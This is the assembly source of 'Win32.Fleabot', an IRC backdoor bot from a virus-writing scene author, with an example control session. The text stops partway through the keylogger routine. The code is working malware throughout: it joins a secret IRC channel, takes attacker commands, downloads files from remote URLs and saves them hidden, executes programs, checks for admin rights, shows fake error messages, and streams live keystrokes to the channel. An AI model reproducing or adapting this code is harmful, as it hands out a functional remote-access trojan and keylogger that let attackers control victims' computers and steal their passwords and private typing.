Win32.Fleabot 
  by DiA 
  
;Win32.Fleabot by DiA/RRLF
;DiA_hates_machine@gmx.de
;http://www.vx-dia.de.vu/
;
;Description:
; This is a small and simple IRC bot coded in assembler (use FASM to assemble). I
; wanted to write a small tutorial along with this source, but I am lazy dude ;).
; But don't cry, the code is very well commented and easy to understand. The bot
; has 12 commands, wich you can see in the example session. For greets and fucks
; use my guestbook at vx-dia.de.vu or drop me some mail to DiA_hates_machine@gmx.de
; Now have fun with this little code, assembled just 8kb baby.
;
;------- example session start------------------------------------------------------
;[10:52] * Now talking in #test
;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx
;[10:53] <workwqbz> bot is locked, use unlock <password>
;[10:53] <DiAbolicx> ^^unlock test
;[10:53] <workwqbz> bot now unlocked
;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx
;[10:53] * workwqbz sets mode: +o DiAbolicx
;[10:53] <DiAbolicx> ^^cmds
;[10:53] <workwqbz> unlock <password>  -  unlock the bot
;[10:53] <workwqbz> lock  -  lock the bot
;[10:53] <workwqbz> raw <irc command>  -  send irc command to server
;[10:53] <workwqbz> dl <http url> | <save as path>  -  download file from http
;[10:53] <workwqbz> exec <path>  -  execute a application
;[10:53] <workwqbz> msgbox <title> | <message>  -  show fake error message
;[10:53] <workwqbz> info  -  get username, system directory and is admin
;[10:53] <workwqbz> livelog  -  start logging keys and send it to channel
;[10:53] <workwqbz> stoplog  -  stop logging keys
;[10:53] <workwqbz> cmds  -  show available commands
;[10:53] <workwqbz> version  -  show bot version
;[10:53] <workwqbz> quit  -  quit bot
;[10:53] <DiAbolicx> ^^raw privmsg #test :yes, i am here
;[10:53] <workwqbz> yes, i am here
;[10:56] <DiAbolicx> ^^dl http://127.0.0.1/calc.exe | D:\calcx.exe
;[10:56] <workwqbz> download successful
;[10:56] <DiAbolicx> ^^exec D:\calcx.exe
;[10:57] <workwqbz> successful executed
;[10:57] <DiAbolicx> ^^msgbox Fleabot | Test message, dude
;[10:57] <workwqbz> message box closed by user
;[10:57] <DiAbolicx> ^^info
;[10:57] <workwqbz> Username: Work, System directory: C:\WINDOWS\system32, Admin: No
;[10:58] <DiAbolicx> ^^version
;[10:58] <workwqbz> Fleabot - a example IRC bot in asm
;[10:58] <DiAbolicx> ^^livelog
;[10:58] <workwqbz> live keylogging thread created
;[10:58] <workwqbz> {crlf}THIS IS A TEST I TYPE THIS IN MY EDITOR AND
;[10:58] <workwqbz> KEYS ARE REDIRECTED TO THE PREDEFINED IRC CHANNEL{crlf}
;[10:58] <DiAbolicx> ^^stoplog
;[10:58] <workwqbz> keylogging thread terminated
;[10:59] <DiAbolicx> ^^quit
;[10:59] * workwqbz (~workwqbz@dianet.org) Quit (workwqbz)
;------- example session end--------------------------------------------------------
include "%fasminc%\win32ax.inc"                                 ;equates, api's and macros making living easier
entry Bot                                                       ;define code start
IRCServer       equ "127.0.0.1", 0                              ;to this server we want to connect
IRCPort         equ 6667d                                       ;connect using this port
Channel         equ "#test", 0                                  ;channel name
ChannelPassword equ "test", 0                                   ;the channel password
CommandPrefix   equ "^^"                                        ;what indicate commands
BotPassword     equ "test", 0                                   ;bot password
CRLF            equ 10d, 13d                                    ;break
section '.data' data readable writeable                         ;here our datas will be stored
        Version                 db "Fleabot - a example IRC bot in asm", 0 ;identify bot version
        IsLocked                db 0d                           ;to check if bot is locked or not
        WSAData                 WSADATA                         ;used by WSAStartup, cleanup
        SocketDesc              dd ?                            ;socket descriptor is stored here
        SockAddr                dw AF_INET                      ;our sockaddr_in structure
          SockAddr_Port         dw ?                            ;here we save the port
          SockAddr_IP           dd ?                            ;here we save the ip
          SockAddr_Zero         rb 8d                           ;unused
        RandomString            rb 5d                           ;here we save a random string (a - z) for the nick
        Username                rb 36d                          ;here we store the user name for nick generation
        UsernameSize            dd 36d                          ;size of the buffer
        Nickname                rb 9d                           ;buffer for nickname
        SendBuffer              rb 512d                         ;the buffer where we store bytes to send
        ReturnBuffer            rb 512d                         ;the buffer where we story things to receive
        ByteBuffer              rb 2d                           ;for the RecvLine procedure
        Pong                    db "PONG "                      ;prefix pong message
        PongBuffer              rb 16d                          ;buffer for the pong message
        CommandBuffer           rb 128d                         ;buffer to store command and parameters
        Parameter1              rb 128d                         ;buffer for parameter 1
        Parameter2              rb 128d                         ;buffer for parameter 2
        InetHandle              dd ?                            ;handle for download command
        UrlHandle               dd ?                            ;handle for download command
        FileHandle              dd ?                            ;handle of open files
        ReadNext                dd ?                            ;how much else to download
        DownloadBuffer          rb 1024d                        ;downoad kb for kb
        BytesWritten            dd ?                            ;for writefile
        StartupInfo             STARTUPINFO                     ;for create process
        ProcessInfo             PROCESS_INFORMATION             ;for create process
        SystemDir               rb 256d                         ;buffer for system dir
        ThreadId                dd ?                            ;for creating live keylog thread
        ThreadHandle            dd ?                            ;store handle for thread
        ThreadExitCode          dd ?                            ;for terminating thread
        KeylogBuffer            rb 60d                          ;buffer for key strokes
section '.code' code readable executable                        ;code section
Bot:                                                            ;lets start
        invoke WSAStartup,\                                     ;initiates sockets DLL
                0101h,\                                         ;use version 1.1
                WSAData                                         ;pointer to wsadata strcuture
        cmp eax, 0                                              ;successful?
        jne Exit                                                ;if not exit bot
        invoke socket,\                                         ;create a socket
                AF_INET,\                                       ;family
                SOCK_STREAM,\                                   ;two way connection
                0                                               ;no particular protocol
        cmp eax, -1                                             ;successful?
        je Exit                                                 ;if not exit
        mov dword [SocketDesc], eax                             ;save socket descriptor
        invoke inet_addr,\                                      ;covert ip string to dword
                IRCServer                                       ;the ip as string
        mov dword [SockAddr_IP], eax                            ;save ip in sockaddr structure
        invoke htons,\                                          ;convert port to the network byte order
                IRCPort                                         ;the port
        mov word [SockAddr_Port], ax                            ;save it in the structure
        invoke connect,\                                        ;now connect to server
                dword [SocketDesc],\                            ;the socket descriptor
                SockAddr,\                                      ;pointer to the sockaddr structure
                16d                                             ;size of this structure
        cmp eax, 0                                              ;successful?
        jne Exit                                                ;if not exit
        call GenerateNickname                                   ;generate the nickname
        invoke lstrcpy,\                                        ;copy NICK to send buffer
                SendBuffer,\                                    ;pointer
                "NICK "                                         ;nick command
        invoke lstrcat,\                                        ;append the nickname
                SendBuffer,\                                    ;to this
                Nickname                                        ;from this
        call SendLine                                           ;send buffer to irc server
        invoke lstrcpy,\                                        ;copy USER to send buffer
                SendBuffer,\                                    ;to this
                "USER "                                         ;from this
        invoke lstrcat,\                                        ;append the nickname
                SendBuffer,\                                    ;to this
                Nickname                                        ;from this
        invoke lstrcat,\                                        ;append usermode
                SendBuffer,\                                    ;to this
                " 8 * :"                                        ;usermode
        invoke lstrcat,\                                        ;append nickname for user message
                SendBuffer,\                                    ;to this
                Nickname                                        ;from this
        call SendLine                                           ;send buffer to server
GetMotd:                                                        ;we can join when "MOTD" message is over
        call RecvLine                                           ;get a line from server
        call HandlePing                                         ;handle ping
        mov ecx, 0                                              ;clear counter
IsMotd:                                                         ;check for "MOTD"
        cmp dword [ReturnBuffer + ecx], "MOTD"                  ;is there "MOTD"?
        je HaveMotd                                             ;then we can join
        cmp byte [ReturnBuffer + ecx], 0d                       ;end of buffer?
        je GetMotd                                              ;check next line
        inc ecx                                                 ;ecx + 1
        jmp IsMotd                                              ;check next position
HaveMotd:                                                       ;now we can join
        invoke lstrcpy,\                                        ;copy JOIN to buffer
                SendBuffer,\                                    ;pointer
                "JOIN "                                         ;join command
        invoke lstrcat,\                                        ;append the channel
                SendBuffer,\                                    ;pointer
                Channel                                         ;channel name
        invoke lstrcat,\                                        ;append a space
                SendBuffer,\                                    ;pointer
                " "                                             ;space
        invoke lstrcat,\                                        ;append the channel password
                SendBuffer,\                                    ;pointer
                ChannelPassword                                 ;pass
        call SendLine                                           ;send to server
        invoke lstrcpy,\                                        ;copy MODE to buffer
                SendBuffer,\                                    ;pointer
                "MODE "                                         ;to set key
        invoke lstrcat,\                                        ;append channel
                SendBuffer,\                                    ;pointer
                Channel                                         ;channel name
        invoke lstrcat,\                                        ;append key mode and secret
                SendBuffer,\                                    ;buffer
                " +nsk "                                        ;no external message, secret, key
        invoke lstrcat,\                                        ;append the password aka key
                SendBuffer,\                                    ;pointer
                ChannelPassword                                 ;the pass
        call SendLine                                           ;send it to irc server
RecvCommand:                                                    ;check if received line include a command
        call RecvLine                                           ;get a line
        call HandlePing                                         ;handle ping if it is
        mov ecx, 0                                              ;set counter to zero
IsCommand:                                                      ;check if command
        cmp word [ReturnBuffer + ecx], CommandPrefix            ;is command prefix?
        je HaveCommand                                          ;then extract command
        cmp byte [ReturnBuffer + ecx], 0                        ;is end of line?
        je RecvCommand                                          ;then wait for next
        inc ecx                                                 ;increase counter by one
        jmp IsCommand                                           ;check next position
HaveCommand:                                                    ;extract command
        mov ebx, ReturnBuffer                                   ;pointer to buffer
        add ebx, ecx                                            ;add counter
        add ebx, 2d                                             ;add length of command prefix
        invoke lstrcpy,\                                        ;add to command buffer
                CommandBuffer,\                                 ;pointer
                ebx                                             ;points to command position
        call ExecuteCommand                                     ;execute command
        jmp RecvCommand                                         ;next command
Exit:
        invoke WSACleanup                                       ;cleanup the wsa
        invoke ExitProcess,\                                    ;exit program
                0                                               ;exit code
SendLine:                                                       ;this procedure sends a line to the irc server
        invoke lstrcat,\                                        ;append crlf to the send buffer
                SendBuffer,\                                    ;buffer
                CRLF                                            ;10d, 13d
        invoke lstrlen,\                                        ;get length of buffer
                SendBuffer                                      ;buffer
        invoke send,\                                           ;send this line
                dword [SocketDesc],\                            ;socket descriptor
                SendBuffer,\                                    ;send this
                eax,\                                           ;length of buffer
                0                                               ;no flags
        cmp eax, -1                                             ;succeddful?
        je Exit                                                 ;if not exit
ret                                                             ;return to call
RecvLine:                                                       ;this procedure receive a line from server
        mov dword [ReturnBuffer], 0                             ;clear the buffer
GetLine:                                                        ;recv until crlf
        invoke recv,\                                           ;receive a byte
                dword [SocketDesc],\                            ;socket descriptor
                ByteBuffer,\                                      ;1 byte buffer
                1d,\                                            ;get just one byte
                0                                               ;no flags
        cmp eax, 0                                              ;error?
        je Exit                                                 ;if so, exit
        cmp byte [ByteBuffer], 10d                              ;arrived crlf?
        je HaveLine                                             ;then return
        invoke lstrcat,\                                        ;append byte to buffer
                ReturnBuffer,\                                  ;pointer
                ByteBuffer                                      ;the byte
        jmp GetLine                                             ;receive next byte
HaveLine:                                                       ;we have a line and can..
ret                                                             ;...return
GenerateNickname:                                               ;this procedure generates a random nick
        mov ecx, 0                                              ;clear counter
GetByte:                                                        ;get a single byte
        invoke GetTickCount                                     ;get the run time
        cmp al, 97d                                             ;after "a"
        jnb CheckBelow                                          ;if so, check if its before "z"
        jmp Sleep33                                             ;sleep 33 ms
CheckBelow:
        cmp al, 122d                                            ;before "z"
        jna HaveByte                                            ;then save byte
        jmp Sleep33                                             ;sleep 33 ms
HaveByte:                                                       ;save a byte
        mov byte [RandomString + ecx], al                       ;save byte at the position
        inc ecx                                                 ;ecx + 1
        cmp ecx, 4d                                             ;got 4 bytes?
        je GenerateIt                                           ;now generate it
Sleep33:                                                        ;sleep 33ms and try again to get a byte a - z
        push ecx                                                ;push counter
        invoke Sleep,\                                          ;sleep
                33d                                             ;33ms
        pop ecx                                                 ;restore counter
        jmp GetByte                                             ;try to get a byte a -z
GenerateIt:                                                     ;have random string, now create nick
        invoke GetUserName,\                                    ;get the logged on user name
                Username,\                                      ;pointer to buffer
                UsernameSize                                    ;size of buffer
        cmp eax, 0                                              ;successful?
        jne ExtractUserName                                     ;if so jump there
        mov dword [Username], "rrlf"                            ;no user name got, fill it with text anyways
ExtractUserName:                                                ;get 4 bytes from the user name
        mov byte [Username + 4d], 0                             ;set string end at 5th position
        invoke lstrcpy,\                                        ;copy username to nick buffer
                Nickname,\                                      ;pointer to buffer
                Username                                        ;pointer to buffer
        invoke lstrcat,\                                        ;append random string
                Nickname,\                                      ;to this
                RandomString                                    ;from this
        invoke CharLowerBuff,\                                  ;now mae nick to lower
                Nickname,\                                      ;the nick
                8d                                              ;length
ret                                                             ;return to call
HandlePing:                                                     ;this procedure handle ping and pong
        cmp dword [ReturnBuffer], "PING"                        ;is a ping?
        jne NoPing                                              ;if not return
        invoke lstrcpy,\                                        ;copy ping message to buffer
                PongBuffer,\                                    ;to this
                ReturnBuffer + 6d                               ;sendbuffer + "PING "
        invoke lstrcpy,\                                        ;copy PONG message to sendbuffer
                SendBuffer,\                                    ;buffer
                Pong                                            ;pong message
        call SendLine                                           ;send pong
NoPing:                                                         ;its not a ping
ret                                                             ;return
SendPrivmsg:                                                    ;send a message to channel
        invoke lstrcpy,\                                        ;copy PRIVMSG to send buffer
                SendBuffer,\                                    ;pointer
                "PRIVMSG "                                      ;irc command
        invoke lstrcat,\                                        ;append channel
                SendBuffer,\                                    ;pointer
                Channel                                         ;the chan
        invoke lstrcat,\                                        ;append space
                SendBuffer,\                                    ;pointer
                " :"                                            ;sepertor
        invoke lstrcat,\                                        ;append message
                SendBuffer,\                                    ;pointer
                ReturnBuffer                                    ;pointer
        call SendLine                                           ;send to server
ret                                                             ;return
ExecuteCommand:                                                 ;execute received command
        cmp dword [CommandBuffer], "unlo"                       ;is unlock command?
        je CmdUnlock                                            ;execute it
        cmp byte [IsLocked], 0                                  ;is bot locked?
        je BotLocked                                            ;jmp there
        cmp dword [CommandBuffer], "cmds"                       ;is commands command?
        je CmdCmds                                              ;then show commands
        cmp dword [CommandBuffer], "lock"                       ;is lock command?
        je CmdLock                                              ;lock it then
        cmp dword [CommandBuffer], "quit"                       ;is quit command?
        je CmdQuit                                              ;quit from irc, exit
        cmp dword [CommandBuffer], "raw "                       ;is raw command?
        je CmdRaw                                               ;execute raw irc command
        cmp word [CommandBuffer], "dl"                          ;is download command?
        je CmdDl                                                ;download file from http
        cmp dword [CommandBuffer], "exec"                       ;is execute command?
        je CmdExec                                              ;then execute application
        cmp dword [CommandBuffer], "vers"                       ;is version command?
        je CmdVersion                                           ;show it then
        cmp dword [CommandBuffer], "msgb"                       ;is msgbox command?
        je CmdMsgbox                                            ;show it then
        cmp dword [CommandBuffer], "info"                       ;is info command?
        je CmdInfo                                              ;then show informations about victim
        cmp dword [CommandBuffer], "live"                       ;is livelog command?
        je CmdLivelog                                           ;log it then
        cmp dword [CommandBuffer], "stop"                       ;is stoplog command?
        je CmdStoplog                                           ;stop it then
        invoke lstrcpy,\                                        ;unknown command
                ReturnBuffer,\                                  ;pointer
                "unknown command, type 'cmds' for commands"     ;mesage
        call SendPrivmsg                                        ;send to chan
        jmp ExecuteCommandReturn                                ;return
BotLocked:
        invoke lstrcpy,\                                        ;copy locked message to return buffer
                ReturnBuffer,\                                  ;pointer
                "bot is locked, use unlock <password>"          ;message
        call SendPrivmsg                                        ;send it
        jmp ExecuteCommandReturn                                ;return
CmdUnlock:                                                      ;unlock command
        invoke lstrlen,\                                        ;get password len
                BotPassword                                     ;of this
        inc eax                                                 ;eax + 1
        invoke lstrcpyn,\                                       ;copy password to parameter1 buffer
                Parameter1,\                                    ;pointer
                CommandBuffer + 7d,\                            ;skip "unlock "
                eax                                             ;dont copy the crlf
        invoke lstrcmp,\                                        ;compare password
                BotPassword,\                                   ;password
                Parameter1                                      ;received password
        cmp eax, 0                                              ;right pass?
        jne WrongPassword                                       ;if not send back wrong pass
        mov byte [IsLocked], 1d                                 ;set unlock code
        invoke lstrcpy,\                                        ;tell user bot is unlocked
                ReturnBuffer,\                                  ;buffer
                "bot now unlocked"                              ;message
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;return
WrongPassword:
        invoke lstrcpy,\                                        ;copy wrong pass message
                ReturnBuffer,\                                  ;pointer
                "wrong password"                                ;message
        call SendPrivmsg                                        ;send to chan
        jmp ExecuteCommandReturn                                ;return
CmdCmds:                                                        ;show all comands
        invoke lstrcpy,\                                        ;copy unlock command
                ReturnBuffer,\                                  ;pointer to buffer
                "unlock <password>  -  unlock the bot"          ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy lock command
                ReturnBuffer,\                                  ;pointer to buffer
                "lock  -  lock the bot"                         ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy raw command
                ReturnBuffer,\                                  ;pointer to buffer
                "raw <irc command>  -  send irc command to server" ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy dl command
                ReturnBuffer,\                                  ;pointer to buffer
                "dl <http url> | <save as path>  -  download file from http" ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy exec command
                ReturnBuffer,\                                  ;pointer to buffer
                "exec <path>  -  execute a application"         ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy msgbox command
                ReturnBuffer,\                                  ;pointer to buffer
                "msgbox <title> | <message>  -  show fake error message" ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy info command
                ReturnBuffer,\                                  ;pointer to buffer
                "info  -  get username, system directory and is admin" ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy livelog command
                ReturnBuffer,\                                  ;pointer to buffer
                "livelog  -  start logging keys and send it to channel" ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy stoplog command
                ReturnBuffer,\                                  ;pointer to buffer
                "stoplog  -  stop logging keys" ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy cmds command
                ReturnBuffer,\                                  ;pointer to buffer
                "cmds  -  show available commands"              ;message
        call SendPrivmsg                                        ;send it to channel
        invoke lstrcpy,\                                        ;copy version command
                ReturnBuffer,\                                  ;pointer to buffer
                "version  -  show bot version"                  ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        invoke lstrcpy,\                                        ;copy quit command
                ReturnBuffer,\                                  ;pointer to buffer
                "quit  -  quit bot"                             ;message
        call SendPrivmsg                                        ;send it to channel
        invoke Sleep,\                                          ;sleep a second
                1000d                                           ;1 sec
        jmp ExecuteCommandReturn                                ;return
CmdLock:                                                        ;lock command
        mov byte [IsLocked], 0                                  ;set it as locked
        invoke lstrcpy,\                                        ;return message
                ReturnBuffer,\                                  ;buffer
                "bot now locked"                                ;message
        call SendPrivmsg                                        ;send it
        jmp ExecuteCommandReturn                                ;and return
CmdQuit:                                                        ;quit bot
        invoke lstrcpy,\                                        ;copy QUIT to buffer
                SendBuffer,\                                    ;pointer
                "QUIT"                                          ;quit command
        call SendLine                                           ;send it
        invoke Sleep,\                                          ;sleep
                2000d                                           ;2 seconds
        jmp Exit                                                ;exit bot
CmdRaw:                                                         ;send raw command to irc server
        invoke lstrcpy,\                                        ;copy command to buffer
                SendBuffer,\                                    ;buffer
                CommandBuffer + 4                               ;skip "raw "
        call SendLine                                           ;send it
        jmp ExecuteCommandReturn                                ;return
CmdDl:                                                          ;download file via http
        call ExtractParameters                                  ;get the two parameters
        invoke InternetOpen,\                                   ;initialise wininet
                Parameter1,\                                    ;use url as agent, not necessary
                0,\                                             ;get configs from registry (INTERNET_OPEN_TYPE_PRECONFIG)
                0,\                                             ;no proxy
                0,\                                             ;also no bypass
                0                                               ;no flags
        cmp eax, 0                                              ;error?
        je DownloadFileError                                    ;if so jump to error
        mov dword [InetHandle], eax                             ;save handle
        invoke InternetOpenUrl,\                                ;open the http url
                dword [InetHandle],\                            ;handle from internetopen
                Parameter1 + 3,\                                ;pointer to the url, pass "dl "
                0,\                                             ;no need for headers
                0,\                                             ;so are the length
                0,\                                             ;no specific flags
                0                                               ;no context needed
        cmp eax, 0                                              ;error?
        je DownloadFileError                                    ;then show error
        mov dword [UrlHandle], eax                              ;save handle
        invoke CreateFile,\                                     ;create the file for writing
                Parameter2,\                                    ;pointer to filename
                GENERIC_WRITE,\                                 ;we just want to write
                FILE_SHARE_WRITE,\                              ;write it
                0,\                                             ;security attributes, nohh
                CREATE_NEW,\                                    ;fail if file exist
                FILE_ATTRIBUTE_HIDDEN,\                         ;make it as hidden
                0                                               ;no template file
        cmp eax, 0                                              ;error?
        je DownloadFileError                                    ;send error back
        mov dword [FileHandle], eax                             ;save handle
        inc dword [ReadNext]                                    ;increase readnext by one
ReadNextBytes:                                                  ;read bytes by bytes
        cmp dword [ReadNext], 0                                 ;no more to read
        je DownloadComplete                                     ;then download complete
        invoke InternetReadFile,\                               ;read from the open url
                dword [UrlHandle],\                             ;open handle
                DownloadBuffer,\                                ;pointer to buffer
                1024d,\                                         ;bytes to read, kbyte by kbyte
                ReadNext                                        ;how much bytes readed?
        invoke WriteFile,\                                      ;write bytes to file
                dword [FileHandle],\                            ;open handle
                DownloadBuffer,\                                ;point to downloaded bytes
                dword [ReadNext],\                              ;write that much bytes
                BytesWritten,\                                  ;how much bytes are written
                0                                               ;no overlapped
        jmp ReadNextBytes                                       ;process next bytes
DownloadComplete:                                               ;download is complete
        invoke CloseHandle,\                                    ;close file
                dword [FileHandle]                              ;via handle
        invoke InternetCloseHandle,\                            ;close inet
                dword [UrlHandle]                               ;via handle
        invoke InternetCloseHandle,\                            ;again
                dword [InetHandle]                              ;via handle
        invoke lstrcpy,\                                        ;copy success message
                ReturnBuffer,\                                  ;to return buffer
                "download successful"                           ;message
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;return
DownloadFileError:
        invoke lstrcpy,\                                        ;copy fail message
                ReturnBuffer,\                                  ;to return buffer
                "download failed"                               ;message
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;return
CmdExec:                                                        ;execute a file
        invoke lstrlen,\                                        ;get length of buffer
                CommandBuffer                                   ;of this
        mov byte [CommandBuffer + eax - 1], 0                   ;clear the crlf
        invoke CreateProcess,\                                  ;via create process
                CommandBuffer + 5d,\                            ;application, skip "exec "
                CommandBuffer + 5d,\                            ;user
                0,\                                             ;no process attributes
                0,\                                             ;no thread attributes
                0,\                                             ;no inerhits
                CREATE_NEW_CONSOLE,\                            ;own process
                0,\                                             ;no environment
                0,\                                             ;nor current directory
                StartupInfo,\                                   ;startup structure
                ProcessInfo                                     ;process structure
        cmp eax, 0                                              ;error?
        je ExecError                                            ;show it then
        invoke lstrcpy,\                                        ;copy message
                ReturnBuffer,\                                  ;to this
                "successful executed"                           ;yehaw
        call SendPrivmsg                                        ;send to chan
        jmp ExecuteCommandReturn                                ;return
ExecError:                                                      ;error occured
        invoke lstrcpy,\                                        ;copy message
                ReturnBuffer,\                                  ;to this
                "execution failed"                              ;damn
        call SendPrivmsg                                        ;send to chan
        jmp ExecuteCommandReturn                                ;return
CmdVersion:                                                     ;show bot version
        invoke lstrcpy,\                                        ;copy version to buffer
                ReturnBuffer,\                                  ;pointer
                Version                                         ;from version
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;return
CmdMsgbox:                                                      ;show a error message box
        call ExtractParameters                                  ;get two parameters
        invoke MessageBox,\                                     ;show messagbox, local
                0,\                                             ;no owner
                Parameter2,\                                    ;Text
                Parameter1 + 7d,\                               ;title, skip "msgbox "
                MB_ICONERROR                                    ;error style
        invoke lstrcpy,\                                        ;copy message
                ReturnBuffer,\                                  ;pointer
                "message box closed by user"                    ;message
        call SendPrivmsg                                        ;send to channeö
        jmp ExecuteCommandReturn                                ;return
CmdInfo:                                                        ;show informations
        invoke lstrcpy,\                                        ;copy "Username" to buffer
                ReturnBuffer,\                                  ;pointer
                "Username: "                                    ;msg
        invoke GetUserName,\                                    ;get user name
                Username,\                                      ;buffer
                UsernameSize                                    ;size
        invoke lstrcat,\                                        ;copy username
                ReturnBuffer,\                                  ;buffer
                Username                                        ;pointer
        invoke lstrcat,\                                        ;copy "sysdir"
                ReturnBuffer,\                                  ;to buffer
                ", System directory: "                          ;msg
        invoke GetSystemDirectory,\                             ;get sys dir to test
                SystemDir,\                                     ;buffer
                256d                                            ;size
        invoke lstrcat,\                                        ;copy to buffer
                ReturnBuffer,\                                  ;to buffer
                SystemDir                                       ;from here
        invoke lstrcat,\                                        ;append "admin"
                ReturnBuffer,\                                  ;buffer
                ", Admin: "
        invoke lstrcat,\                                        ;append filename to system dir
                SystemDir,\                                     ;to buffer
                "DiA.RRLF"                                      ;filename ;)
        invoke CreateFile,\                                     ;try to create this file
                SystemDir,\                                     ;file in system directory
                GENERIC_WRITE,\                                 ;check write
                FILE_SHARE_WRITE,\                              ;yeh
                0,\                                             ;no security attributes
                CREATE_ALWAYS,\                                 ;overwrite if exist
                FILE_ATTRIBUTE_HIDDEN,\                         ;as hidden
                0                                               ;no template file
        cmp eax, -1                                             ;error?
        je NoAdmin                                              ;then user is no admin
        invoke lstrcat,\                                        ;copy "yes"
                ReturnBuffer,\                                  ;to buffer
                "Yes"                                           ;message
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;and return
NoAdmin:                                                        ;user is no admin
        invoke lstrcat,\                                        ;copy "no"
                ReturnBuffer,\                                  ;to buffer
                "No"                                            ;message
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;and return
CmdLivelog:                                                     ;create a thread for live keylogging
        invoke CreateThread,\                                   ;create the keylog thread
                0,\                                             ;no security attributes
                0,\                                             ;default stack size
                LiveKeylog,\                                    ;procedure start
                0,\                                             ;no parameters
                0,\                                             ;start right now
                ThreadId                                        ;store here the thread id
        cmp eax, 0                                              ;error?
        je ThreadError                                          ;then jump there
        mov dword [ThreadHandle], eax                           ;store thread handle
        invoke lstrcpy,\                                        ;copy success message
                ReturnBuffer,\                                  ;to the buffer
                "live keylogging thread created"                ;yehaw
        call SendPrivmsg                                        ;send to channel
        jmp ExecuteCommandReturn                                ;ret
ThreadError:
        invoke lstrcpy,\                                        ;copy error message
                ReturnBuffer,\                                  ;to this
                "error on creating live keylogging thread"      ;buh
        call SendPrivmsg                                        ;send it
        jmp ExecuteCommandReturn                                ;return
CmdStoplog:                                                     ;stop keylogging thread
        invoke GetExitCodeThread,\                              ;get exit code to terminate thread
                dword [ThreadHandle],\                          ;thread handle
                ThreadExitCode                                  ;store it here
        invoke TerminateThread,\                                ;exit it now
                dword [ThreadHandle],\                          ;handle
                dword [ThreadExitCode]                          ;with this
        cmp eax, 0                                              ;error?
        je ExitThreadError                                      ;show it then
        mov dword [ThreadId], 0                                 ;clear id
        mov dword [ThreadHandle], 0                             ;clear handle
        mov dword [ThreadExitCode], 0                           ;clear exit code
        invoke lstrcpy,\                                        ;copy sucess message
                ReturnBuffer,\                                  ;to buffer
                "keylogging thread terminated"                  ;msg
        call SendPrivmsg                                        ;send it
        jmp ExecuteCommandReturn                                ;ret
ExitThreadError:                                                ;arghh, maybe not exist
        invoke lstrcpy,\                                        ;copy error message
                ReturnBuffer,\                                  ;to buffer
                "error terminating keylogging thread"           ;msg
        call SendPrivmsg                                        ;send it
        jmp ExecuteCommandReturn                                ;ret
ExecuteCommandReturn:                                           ;return
ret                                                             ;return to call
ExtractParameters:                                              ;this procedure extracts two parameter from a cmd
        mov edx, CommandBuffer                                  ;pointer to buffer
        mov ecx, 0                                              ;zero counter
FindCut:                                                        ;get the "|" cur
        cmp byte [edx + ecx], "|"                               ;is byte at position a "|"?
        je HaveCut                                              ;then extract it
        inc ecx                                                 ;counter + 1
        jmp FindCut                                             ;scan next position
HaveCut:                                                        ;have cut, extract it
        add edx, ecx                                            ;add counter to start of buffer
        mov byte [edx - 1], 0                                   ;zero the "|"
        add edx, 2d                                             ;skip space
        invoke lstrcpy,\                                        ;copy parameter2
                Parameter2,\                                    ;destination
                edx                                             ;source
        invoke lstrlen,\                                        ;get length to erase crlf
                Parameter2                                      ;of buffer
        mov byte [Parameter2 + eax - 1], 0                      ;erase crlf
        invoke lstrcpy,\                                        ;copy parameter1
                Parameter1,\                                    ;buffer
                CommandBuffer                                   ;source
ret                                                             ;return to call
LiveKeylog:                                                     ;this procedure logs keys and send it to channel
        invoke lstrlen,\                                        ;get legth of buffer
                KeylogBuffer                                    ;key strokes buffer
        cmp eax, 50d                                            ;is over 50 characters?
        jae SendKeyLine                                         ;then send it to channel
        mov ebx, 0                                              ;set counter to zero (just use ebx because api dont change it
NextKey:                                                        ;try if next key is pressed
        cmp ebx, 255d                                           ;end of possible keys?
        je LiveKeylog                                           ;the try from start again
        invoke GetAsyncKeyState,\                               ;get status of this key
                ebx                                             ;in ebx (0 - 255)
        cmp eax, -32767d                                        ;is pressed?
        jne ScanNextKey                                         ;if not check next possible key
        cmp ebx, 20h                                            ;VK_SPACE
        je IsSpace                                              ;if it is this key, jump there
        cmp ebx, 8h                                             ;VK_BACK
        je IsBack                                               ;if it is this key, jump there
        cmp ebx, 9h                                             ;VK_TAB
        je IsTab                                                ;if it is this key, jump there
        cmp ebx, 60h                                            ;VK_NUMPAD0
        je IsNumpad0                                            ;if it is this key, jump there
        cmp ebx, 61h                                            ;VK_NUMPAD1
        je IsNumpad1                                            ;if it is this key, jump there
        cmp ebx, 62h                                            ;VK_NUMPAD2
        je IsNumpad2                                            ;if it is this key, jump there
        cmp ebx, 63h                                            ;VK_NUMPAD3
